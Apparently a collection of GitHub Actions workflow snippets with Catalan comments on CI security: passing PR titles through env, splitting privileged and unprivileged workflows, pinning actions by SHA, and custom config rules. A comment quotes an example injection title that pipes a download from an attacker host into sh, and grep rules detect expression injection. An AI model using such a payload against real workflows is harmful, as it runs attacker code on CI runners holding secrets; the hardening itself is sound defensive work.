          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          TITOL: ${{ github.event.pull_request.title }}
        run: |
          # El titol del PR es entrada de l ATACANT. No l interpolis mai
          # amb ${{ }} directament en un `run`: un titol com
          #   "; curl atacant.com | sh #"
          # es convertiria en una ordre. Per aixo va per `env:`.
          case "$TITOL" in
            feat*) gh pr edit "${{ github.event.number }}" --add-label enhancement ;;
            fix*)  gh pr edit "${{ github.event.number }}" --add-label bug ;;
          esac

# Workflow 1: s executa SENSE privilegis, amb el codi del PR
name: CI de PR
on: pull_request
permissions:
  contents: read
jobs:
  construir:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm run build
      - uses: actions/upload-artifact@v4
        with: { name: dist, path: dist/ }

# Workflow 2: s executa AMB privilegis, pero MAI executa codi del PR
name: Publicar previsualitzacio
on:
  workflow_run:
    workflows: ['CI de PR']
    types: [completed]
permissions:
  contents: read
  pull-requests: write
jobs:
  publicar:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    steps:
      # Nomes DESCARREGA l artefacte: no executa res del PR.
      - uses: actions/download-artifact@v4
        with:
          name: dist
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ secrets.GITHUB_TOKEN }}
      # ...pujar a un allotjament de previsualitzacio i comentar al PR...

grep -rn 'pull_request_target' .github/workflows/ && echo "REVISAR CADASCUN" || echo "OK: cap"
grep -rn 'ref:.*pull_request.head' .github/workflows/ && echo "PERILL" || echo "OK"

  seguretat-ok:
    name: Seguretat OK
    runs-on: ubuntu-latest
    needs: [secrets, sca, codeql, imatge, configuracio]
    if: always()
    permissions:
      contents: read
      security-events: read
    steps:
      - name: Agregar els resultats
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        run: |
          set -Eeuo pipefail
          declare -A RESULTATS=(
            [secrets]="${{ needs.secrets.result }}"
            [sca]="${{ needs.sca.result }}"
            [codeql]="${{ needs.codeql.result }}"
            [imatge]="${{ needs.imatge.result }}"
            [configuracio]="${{ needs.configuracio.result }}"
          )

          {
            echo "## 🔒 Resum de seguretat"
            echo ""
            echo "| Escaneig | Resultat | Bloqueja |"
            echo "|---|---|---|"
          } >> "$GITHUB_STEP_SUMMARY"

          FALLADES=0
          for escaneig in "${!RESULTATS[@]}"; do
            R="${RESULTATS[$escaneig]}"
            case "$R" in
              success)   ICONA='✅'; BLOQUEJA='—' ;;
              skipped)   ICONA='⏭️'; BLOQUEJA='—' ;;
              cancelled) ICONA='🚫'; BLOQUEJA='Sí'; FALLADES=$((FALLADES+1)) ;;
              *)         ICONA='❌'; BLOQUEJA='Sí'; FALLADES=$((FALLADES+1)) ;;
            esac
            echo "| $escaneig | $ICONA $R | $BLOQUEJA |" >> "$GITHUB_STEP_SUMMARY"
          done

          # Alertes obertes a Code scanning, per severitat
          ALERTES=$(gh api "repos/${{ github.repository }}/code-scanning/alerts?state=open&per_page=100" \
                     --jq 'group_by(.rule.security_severity_level // .rule.severity)
                           | map({sev: .[0].rule.security_severity_level // .[0].rule.severity, n: length})' \
                   2>/dev/null || echo '[]')
          CRIT=$(jq -r '[.[] | select(.sev=="critical") | .n] | add // 0' <<< "$ALERTES")
          ALTA=$(jq -r '[.[] | select(.sev=="high")     | .n] | add // 0' <<< "$ALERTES")
          MITJANA=$(jq -r '[.[] | select(.sev=="medium")  | .n] | add // 0' <<< "$ALERTES")

          {
            echo ""
            echo "### Alertes obertes a Code scanning"
            echo ""
            echo "| Severitat | Núm. | Política |"
            echo "|---|---|---|"
            echo "| Crítica | $CRIT | Bloqueja sempre |"
            echo "| Alta | $ALTA | Bloqueja a \`main\` |"
            echo "| Mitjana | $MITJANA | Informa |"
          } >> "$GITHUB_STEP_SUMMARY"

          # Aplicació de la política
          if [ "$CRIT" -gt 0 ]; then
            echo "::error::$CRIT alerta/es CRÍTICA/ES oberta/es"; FALLADES=$((FALLADES+1))
          fi
          if [ "$ALTA" -gt 0 ] && [ "${{ github.ref }}" = "refs/heads/main" ]; then
            echo "::error::$ALTA alerta/es ALTA/ES oberta/es a main"; FALLADES=$((FALLADES+1))
          fi

          if [ "$FALLADES" -gt 0 ]; then
            echo "" >> "$GITHUB_STEP_SUMMARY"
            echo "### ❌ Porta de seguretat TANCADA" >> "$GITHUB_STEP_SUMMARY"
            exit 1
          fi
          echo "" >> "$GITHUB_STEP_SUMMARY"
          echo "### ✅ Porta de seguretat OBERTA" >> "$GITHUB_STEP_SUMMARY"

  accions-fixades:
    name: Accions fixades per SHA
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Comprovar que totes les accions estan fixades
        run: |
          set -Eeuo pipefail
          SENSE_FIXAR=0
          {
            echo "## Fixació de les accions"
            echo ""
          } >> "$GITHUB_STEP_SUMMARY"

          while IFS= read -r troballa; do
            FITXER="${troballa%%:*}"
            RESTA="${troballa#*:}"
            LINIA="${RESTA%%:*}"
            REF=$(grep -oP '(?<=uses: ).*' <<< "$troballa" | sed 's/ *#.*//')

            # Excepcions legitimes: accions locals i contenidors docker://
            [[ "$REF" == ./* ]] && continue
            [[ "$REF" == docker://* ]] && continue

            VERSIO="${REF##*@}"
            if [[ "$VERSIO" =~ ^[0-9a-f]{40}$ ]]; then continue; fi

            SENSE_FIXAR=$((SENSE_FIXAR + 1))
            ACCIO="${REF%@*}"
            REPO=$(cut -d/ -f1,2 <<< "$ACCIO")
            SHA=$(gh api "repos/${REPO}/git/refs/tags/${VERSIO}" --jq '.object.sha' 2>/dev/null || echo '<no resolt>')

            echo "::error file=${FITXER},line=${LINIA}::Acció sense fixar: ${REF}. Fes servir: ${ACCIO}@${SHA} # ${VERSIO}"
            echo "- \`$FITXER:$LINIA\` → \`$REF\`  →  \`${ACCIO}@${SHA} # ${VERSIO}\`" >> "$GITHUB_STEP_SUMMARY"
          done < <(grep -rn 'uses:' .github/workflows/ || true)

          if [ "$SENSE_FIXAR" -gt 0 ]; then
            {
              echo ""
              echo "**$SENSE_FIXAR acció/ons sense fixar per SHA.**"
              echo ""
              echo "Una etiqueta com \`@v4\` es pot moure: qui controli l'acció pot"
              echo "executar codi arbitrari en aquest runner amb accés als secrets."
              echo ""
              echo "Arregla-ho automàticament amb:"
              echo '```bash'
              echo './scripts/fixar-accions.sh && git diff'
              echo '```'
            } >> "$GITHUB_STEP_SUMMARY"
            exit 1
          fi
          echo "✅ Totes les accions estan fixades per SHA." >> "$GITHUB_STEP_SUMMARY"
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

  configuracio:
    name: Escaneig de configuracio
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Trivy en mode config (Dockerfile, compose, workflows)
        uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0 # 0.29.0
        with:
          scan-type: config
          scan-ref: .
          format: sarif
          output: trivy-config.sarif
          severity: 'CRITICAL,HIGH,MEDIUM'
          exit-code: '0'

      - name: Pujar a Security
        if: always()
        uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
        with:
          sarif_file: trivy-config.sarif
          category: trivy-config

      - name: Regles propies del projecte
        run: |
          set -Eeuo pipefail
          FALLADES=0
          error() { echo "::error file=$1::$2"; FALLADES=$((FALLADES + 1)); }

          # --- Regla 1: la imatge final MAI corre com a root ----------------
          # Es comprova a l ULTIMA etapa: un USER en una etapa intermedia
          # no protegeix res.
          ULTIMA_ETAPA=$(awk '/^FROM /{n=NR} END{print n}' Dockerfile)
          if ! awk -v inici="$ULTIMA_ETAPA" 'NR > inici && /^USER /' Dockerfile | grep -qv 'USER root'; then
            error Dockerfile "La imatge final no declara cap USER no-root"
          fi

          # --- Regla 2: sense `latest` en cap imatge base ------------------
          if grep -nE '^FROM .*:latest|^FROM [^:@]+$' Dockerfile; then
            error Dockerfile "Imatge base sense versió fixada (:latest o sense tag)"
          fi

          # --- Regla 3: cap workflow amb permissions: write-all -------------
          if grep -rn 'permissions: *write-all' .github/workflows/; then
            error .github/workflows "permissions: write-all concedeix tots els permisos"
          fi

          # --- Regla 4: cap secret interpolat en un `run:` ------------------
          # Els secrets han d entrar per `env:`, on l emmascarat i l abast
          # funcionen millor i no acaben a l historial del shell.
          if grep -rnP 'run:.*\$\{\{\s*secrets\.' .github/workflows/; then
            error .github/workflows "Secret interpolat directament en un run:. Passa-l per env:"
          fi

          # --- Regla 5: sense dades d usuari interpolades en un `run:` ------
          if grep -rnP 'run:[\s\S]{0,200}\$\{\{\s*github\.event\.(pull_request\.(title|body)|issue\.(title|body)|comment\.body)' .github/workflows/; then
            error .github/workflows "Dada controlada per l'usuari interpolada en un run: (injecció d'expressions)"
          fi

          # --- Regla 6: sense ports de base de dades publicats al compose --
          if grep -rnE '^\s+- .?(5432|3306|27017|6379):' ./*.yml observabilitat/*.yml 2>/dev/null; then
            error docker-compose.yml "Port de base de dades publicat a l'amfitrió"
          fi

          if [ "$FALLADES" -gt 0 ]; then
            echo "### ❌ $FALLADES regla/es de configuració incomplerta/es" >> "$GITHUB_STEP_SUMMARY"
            exit 1
          fi
          echo "### ✅ Configuració conforme a les regles del projecte" >> "$GITHUB_STEP_SUMMARY"